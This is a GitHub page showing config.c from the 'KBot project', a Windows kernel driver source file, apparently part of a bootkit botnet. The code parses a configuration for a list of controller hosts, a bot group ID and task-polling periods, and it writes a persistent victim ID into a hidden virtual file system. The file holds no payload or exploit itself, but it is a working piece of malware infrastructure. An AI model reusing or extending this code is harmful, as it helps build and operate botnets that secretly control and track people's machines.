-
Notifications
You must be signed in to change notification settings - Fork 158
/
Copy pathconfig.c
365 lines (304 loc) · 8.48 KB
/
config.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
// KBot project.
//
// module: config.c
// $Revision: 34 $
// $Date: 2012-08-23 15:11:38 +0400 (Чт, 23 авг 2012) $
// description:
// Config file processing engine.
#include <Ntifs.h>
#include <ntddk.h>
#include <ntimage.h>
#define NTSTRSAFE_NO_DEPRECATE
#include <ntstrsafe.h>
#include "version.h"
#include "ntddkex.h"
#include "kdbg.h"
#include "joiner.h"
#include "bklib.h"
#include "..\fslib\fslib.h"
#include "..\bkdrv\bkdrv.h"
#include "kbot.h"
#include "kbotinc.h"
#define _TCHAR CHAR
typedef struct _REQUEST_PARAMETER
{
ULONG NameHash;
ULONG Flags;
PCHAR pValue;
} REQUEST_PARAMETER, *PREQUEST_PARAMETER;
typedef struct _REQUEST_PARAMETERS
{
ULONG Count;
REQUEST_PARAMETER Parameter[];
} REQUEST_PARAMETERS, *PREQUEST_PARAMETERS;
PKBOT_CONFIG volatile g_KBotConfig = NULL;
KBOT_USER g_KBotUserId = {0};
//
// Allocates a memory buffer and duplicates the specified source string into it.
//
static LPTSTR DupString(
LPTSTR SourceStr,
ULONG MinimumLength
)
{
LPTSTR DestStr;
ULONG Size = max((strlen(SourceStr) + 1) * sizeof(_TCHAR), MinimumLength * sizeof(_TCHAR));
if (DestStr = KBotAlloc(Size))
{
RtlZeroMemory(DestStr, Size);
strcpy(DestStr, SourceStr);
}
return(DestStr);
}
//
// Parses the specified buffer containg lines of parameter strings like:
// NAME = VALUE
// Allocates and fills REQUEST_PARAMETERS structure with name hashes and parameter values.
//
NTSTATUS ParseParamFile(
PCHAR ParamStr, // buffer containg lines of parameter strings
PREQUEST_PARAMETERS* ppParameters, // variable to return pointer to REQUEST_PARAMETERS structure
BOOL bCaseSensitive // specifies how to parse parameter names and values: case sensitive or not
)
{
NTSTATUS ntStatus = STATUS_SUCCESS;
PCHAR pStr, cStr = ParamStr;
ULONG Count = 0;
PREQUEST_PARAMETERS pParams;
// Calculating maximum number of parameters in the file
while(cStr = strchr(cStr, '='))
{
Count += 1;
cStr += 1;
}
if (Count)
{
// Allocating REQUEST_PARAMETER structure
if (pParams = KBotAlloc(sizeof(REQUEST_PARAMETERS) + Count * sizeof(REQUEST_PARAMETER)))
{
PREQUEST_PARAMETER pParam = (PREQUEST_PARAMETER)&pParams->Parameter;
pParams->Count = 0;
do
{
if ((pStr = strchr(ParamStr, '\r')) || (pStr = strchr(ParamStr, '\n')))
{
*pStr = 0;
pStr += 1;
}
if (cStr = strchr(ParamStr, ';'))
*cStr = 0;
if (cStr = strchr(ParamStr, '='))
{
if (!bCaseSensitive)
{
ANSI_STRING As;
// Converting to upper case
RtlInitAnsiString(&As, ParamStr);
RtlUpperString(&As, &As);
}
*cStr = 0;
cStr += 1;
strtrim(ParamStr, " \t\r\n");
strtrim(cStr, " \t");
if (*ParamStr)
{
pParam->NameHash = BkCRC32(ParamStr, strlen(ParamStr));
pParam->pValue = cStr;
pParams->Count += 1;
pParam += 1;
}
} // if (cStr = StrChr(ParamStr, '='))
} while(ParamStr = pStr);
*ppParameters = pParams;
ASSERT(ntStatus == STATUS_SUCCESS);
} // if (pParams = hAlloc(sizeof(REQUEST_PARAMETERS) + Count * sizeof(REQUEST_PARAMETER)))
else
ntStatus = STATUS_INSUFFICIENT_RESOURCES;
} // if (Count)
else
ntStatus = STATUS_INVALID_PARAMETER;
return(ntStatus);
}
//
// Scans the specified REQUEST_PARAMETERS structure for a parameter with the specified Name hash.
// Returns pointer to the value of the parameter or NULL if the parameter not found.
//
PCHAR GetParamValue(
ULONG NameHash,
PREQUEST_PARAMETERS pParameters
)
{
PCHAR pValue = NULL;
ULONG i;
if (pParameters)
{
for (i=0; i<pParameters->Count; i++)
{
if (pParameters->Parameter[i].NameHash == NameHash)
{
pValue = pParameters->Parameter[i].pValue;
break;
}
} // for (i=0; i<pParameters->Count; i++)
} // if (pParameters)
return(pValue);
}
//
// Parses the specified pHostList string into multiple strings devided by ','.
// Allocates and fills a pHostArray array with pointers to those strings.
//
NTSTATUS BuildHostArray(
PCHAR pHostList,
PCHAR** pHostArray,
PULONG pNumberHosts
)
{
NTSTATUS ntStatus = STATUS_SUCCESS;
PCHAR cStr = pHostList;
ULONG Count = 1;
PCHAR* HostArray;
// Calculating maximum number of hosts in the list
while(cStr = strchr(cStr, ','))
{
Count += 1;
cStr += 1;
}
if (HostArray = (PCHAR*)KBotAlloc(Count * sizeof(PCHAR)))
{
Count = 0;
do
{
HostArray[Count] = pHostList;
if (pHostList = strchr(pHostList, ','))
{
*pHostList = 0;
pHostList += 1;
}
strtrim(HostArray[Count], " \t");
Count += 1;
} while(pHostList);
*pHostArray = HostArray;
*pNumberHosts = Count;
} // if (HostArray = KBotAlloc(Count * sizeof(PCHAR)))
else
ntStatus = STATUS_INSUFFICIENT_RESOURCES;
return(ntStatus);
}
//
// Releases the specified configuration structure.
// Cleans up parameters, frees memory.
//
VOID KBotReleaseConfig(
PKBOT_CONFIG Config
)
{
ASSERT_KBOT_CONFIG(Config);
if (Config->HostArray)
KBotFree(Config->HostArray);
if (Config->pHostList)
KBotFree(Config->pHostList);
if (Config->pKey)
KBotFree(Config->pKey);
#if DBG
Config->Magic = 0;
#endif
KBotFree(Config);
}
//
// Initializes KBOT global configuration structure with the specified parameters.
//
static NTSTATUS KBotInitConfig(
PREQUEST_PARAMETERS pIniParams,
ULONG ConfigCRC // CRC32 hash of the config file
)
{
NTSTATUS ntStatus = STATUS_INSUFFICIENT_RESOURCES;
PKBOT_CONFIG Config;
PCHAR pHostList, pValue;
ULONG uValue;
do // not a loop
{
// Creating new configuration structure
if (!(Config = MyAllocatePool(PagedPool, sizeof(KBOT_CONFIG))))
{
ASSERT(ntStatus == STATUS_INSUFFICIENT_RESOURCES);
break;
}
RtlZeroMemory(Config, sizeof(KBOT_CONFIG));
#if DBG
Config->Magic = KBOT_CONFIG_MAGIC;
#endif
Config->ConfigCRC = ConfigCRC;
// active host list
if ((pValue = GetParamValue(CRC_HOSTS, pIniParams)) && *(strtrim(pValue, " \t")) != 0 && (pValue = DupString(pValue, 0)))
Config->pHostList = pValue;
else
pValue = DupString(KBOT_DEFAULT_HOST_LIST, 0);
if (!(NT_SUCCESS(ntStatus = BuildHostArray(pValue, &Config->HostArray, &Config->HostCount))))
break;
Config->HostIndex = 0;
// group ID
if ((pValue = GetParamValue(CRC_GROUP, pIniParams)) && (uValue = strtol(pValue, NULL, 0)))
Config->GroupId = uValue;
else
Config->GroupId = KBOT_DEFAULT_GROUP_ID;
// config update period
if ((pValue = GetParamValue(CRC_CONFIG_PERIOD, pIniParams)) && (uValue = strtol(pValue, NULL, 0)))
Config->ConfigPeriod = uValue;
else
Config->ConfigPeriod = KBOT_DEFAULT_CONFIG_PERIOD;
// task update period
if ((pValue = GetParamValue(CRC_TASK_PERIOD, pIniParams)) && (uValue = strtol(pValue, NULL, 0)))
Config->TaskPeriod = uValue;
else
Config->TaskPeriod = KBOT_DEFAULT_TASK_PERIOD;
Config->MinimumPeriod = KBOT_MINIMUM_REQUEST_PERIOD;
KdPrint(("KBOT: global configuration data initialized\n"));
ntStatus = STATUS_SUCCESS;
} while(FALSE);
if (NT_SUCCESS(ntStatus))
{
if (Config = InterlockedExchangePointer(&g_KBotConfig, Config))
KBotReleaseConfig(Config);
}
else
{
if (Config)
KBotReleaseConfig(Config);
}
return(ntStatus);
}
//
// Tries to loads KBOT configuration file from the VFS root directory and from the current driver module.
// Initializes global configuration structure.
//
NTSTATUS KBotLoadConfig(VOID)
{
NTSTATUS ntStatus;
ntStatus = KBotInitConfig(NULL, 0);
return(ntStatus);
}
VOID KBotGetUserId(VOID)
{
PCHAR pUserIdFile;
ULONG UserIdSize;
ANSI_STRING aUserIdName = RTL_CONSTANT_STRING(szKBotUserIdFileName);
// Looking for the user ID file stored within the VFS root directory
if (NT_SUCCESS(FsLoadFile(&aUserIdName, (PCHAR*)&pUserIdFile, &UserIdSize)) && UserIdSize == sizeof(KBOT_USER))
{
// User ID file found and loaded
memcpy(&g_KBotUserId, pUserIdFile, UserIdSize);
MyFreePool(pUserIdFile);
KdPrint(("KBOT: user ID loaded from a file\n"));
}
else
{
// No user ID file found
LARGE_INTEGER Ticks;
KeQueryTickCount(&Ticks);
BkGuidFromSeed(&g_KBotUserId.Id, &Ticks.LowPart);
FsSaveFile(&aUserIdName, (PCHAR)&g_KBotUserId.Id, sizeof(KBOT_USER));
KdPrint(("KBOT: new user ID created\n"));
}
}